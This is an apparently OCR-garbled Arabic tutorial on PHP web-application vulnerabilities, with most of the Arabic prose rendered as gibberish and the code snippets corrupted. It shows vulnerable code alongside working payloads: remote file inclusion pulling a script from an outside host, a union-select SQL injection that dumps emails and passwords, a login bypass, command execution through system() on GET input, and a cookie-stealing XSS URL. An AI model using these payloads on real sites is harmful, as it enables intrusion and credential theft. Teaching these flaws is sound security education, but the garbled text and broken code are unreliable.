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Wy b Guwii SI MySQL g PHP e 2wliy v 98 JoVl glasdl 04d 5\ Lo welboll

Ujg> de LOCALHOST (ool p3ldl) osixodl 59,

Wbl yos s>l vy wawid| Ay « JUoJl Jawsw e APPSERVE 9l WAMP 2wl v i chiSoy
Wl 2l LYMeiw VI el VY php.ini GresSl o Juasiv by Nxodl ool (e adousud |

useall JSLidb Lpiudai) b i
: o\ LS UeSi Cusw Lpdac g php.ini wale 9 aJdlll Ulogleoll e Cazul

safe_mode = off
register_globals = on
allow_url_include = on
allow_url_fopen = on
magic_quotes_gpc = off
short_tag_open = on
display_errors = on
disabled_functions = N/A
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require — require()
require_once

include
include_once
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1 VW 595)] Soxw test.php walo Lo Ul Lo il --
<?php

$pagina=$_GET['pagina’;
include $pagina
>

UeSy loil> PHP as) s\9 jusioll 9 $pagina jasiell weisws include dlal. )Laisb >9S1 g pminid
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Notice: Undefined index: pagina in C:\wamp\www\tpkp on line 2
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<?php
$pagina=$_GET['pagina’;
include $pagina’.php’;
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http://127.0.0.1/test.php?pagina=http://the-code.tk/evilscript.txt
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if (isset($_REQUEST["'main_content"])){
$main_content = $ _REQUEST["'main_content"];
} else if (isset($_SESSION["main_content"])){
$main_content =$_SESSION["'main_content"];

ob_start();
require_oncg$main_conteny;
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file_get_contents : JolS «alo 861,9
readfile :«alo ¢l,9
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<?php
$pagina=$_GET['paginal;
readfile($pagina);

?>

$pagina yaioJU daxoll waloll Sgixo 6:1,9 readfile aJlal Jglwiow . HlaisU >9SJ1 2 yuinid
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$file = $_SERVER['DOCUMENT_ROOT"]. $_REQUEST[file'
header("Pragma: public");

header("Expires: 0");

header("Cache-Control: must-revalidate, post-chéckre-check=0");

header("Content-Type: application/force-download");
header( "Content-Disposition: attachment; filenatrieesename($file));

/Iheader( "Content-Description: File Transfer");

@readfile($file);
die();

W\ by Sl .$ _REQUEST abuwlgs audb pig ol jue 989 wellboll waloll e s $file jusioll
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test.php wlo yo Yo wbuao --

<?php

$id =$_GET['dT;

$result = mysql_query( "SELECT name FROM membersBRH id = $id™);
?>
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You have an error in your SQL syntax; check the uaathat corresponds to your MySQL server version
for the right syntax to use near 'ORDER BY ‘dat&SC' at line 1
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listing_view.php : (swoaw wlaodl wlolly wuu,ySaw o JUno LVYI
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$id =$_GET['itemnrT;

require_once($home."mysqglinfo.php");

$query = "SELECT title, type, price, bedrooms, aliete, address, phone, comments, handle, imageRentals
where id$id";

$result = mysql_query($query);

if(mysqgl_num_rows($result)){

$r = mysql_fetch_array($result);

» 8yide0 yul Lpadbiow NI aouiddlg itemnr L)l abuwlgs $id asioll Aoud LA pinaw Ul o>
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http://127.0.0.1/house/listing_view.php?itemnr=null+union+all+select+1,2,
3,concat(0x3a,email, password),5,6,7,8,9,10+from+users--
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SQL 6,85 o £5xS Lpisiwo MU Libluad b 9 il Joxl 9 @l (o jwisi 6,201 04d
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login.php : woww wlawll wlally wuySuw yo Jlo

rwlawll 593l Lo wbuso -

$postbruger = $_POST['usernamer;

$postpass = md5($_POST['password1);

$resultat = mysql_query("SELECT * FROM " . $tabkest "login WHERE brugernavn = '$postbruger' AND
password = '$postpass™)

or die("<p>". mysql_error() . "</p>\n");
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$resultat = mysql_query("SELECT * FROM " . $tabkest "login WHEREbrugernavn = ‘admin' ' or ' 1=1 AND
password ="' jocken™"
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$id=(int)$_GET[idT;
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exec
passthru
shell _exec
system
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<?php
$cmd=$_GET['cmd';
systen($cmd);
2>
$cmd Al 01d 5\ 99 juiol) Aowd Llb LuSos s Lo e asyludl il auwly> JM> o

: VLS oy JM2iw VI Jexi Ul LiSos aiog
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il ypbi Bgawg (L9l e Lib>Wo o sol) id oVl duiis pisws
o siswl) dir ;oYL 929l pUsi solgl o oVl UeSiaw Nxodl L9 ] e wu il Al 99
(S| dxod] wlalo
1 ol 39S e piriin JUo -- 2-5
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$ns =$ GET['nsT;
$query_type =$_GET['query_type'; // ANY, MX, Aetc.
$ip =$_SERVER['REMOTE_ADDRY;
$self =$_SERVER['PHP_SELFT;
........................ (2] (o
$host = strtolower($host);
echo("<span class=\"plainBlue\"><b>Executing : <igt$hs </u></b><br>");

echo '<pre>';
system("$ns’);
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$dz =$ _GET['nsT;

$alg = $_GET[alg]; .
........................ (=] (o
system("dig @$dz $ald);

>
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test.php wlo Yo Yo wbuiso --
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<?php
$name=$_GET['name;
print $name
7>
print Al abuwlgs aiclb pi (o9 $name juiol) Aouwd Wlb pi A9 >93Jl Lo, o)
s S| Ligy upSow B> 39S iz o <) W e 591 14D JMeiw) aay,b o\ laa> ,Sail -

http://127.0.0.1/test.php?nameseript>alert(document.cookie)</script
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php?>
;(['name=htmlentities($_GET['nafie

;print $name
<?
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http://127.0.0.1/adminpanel/phpmydump.php
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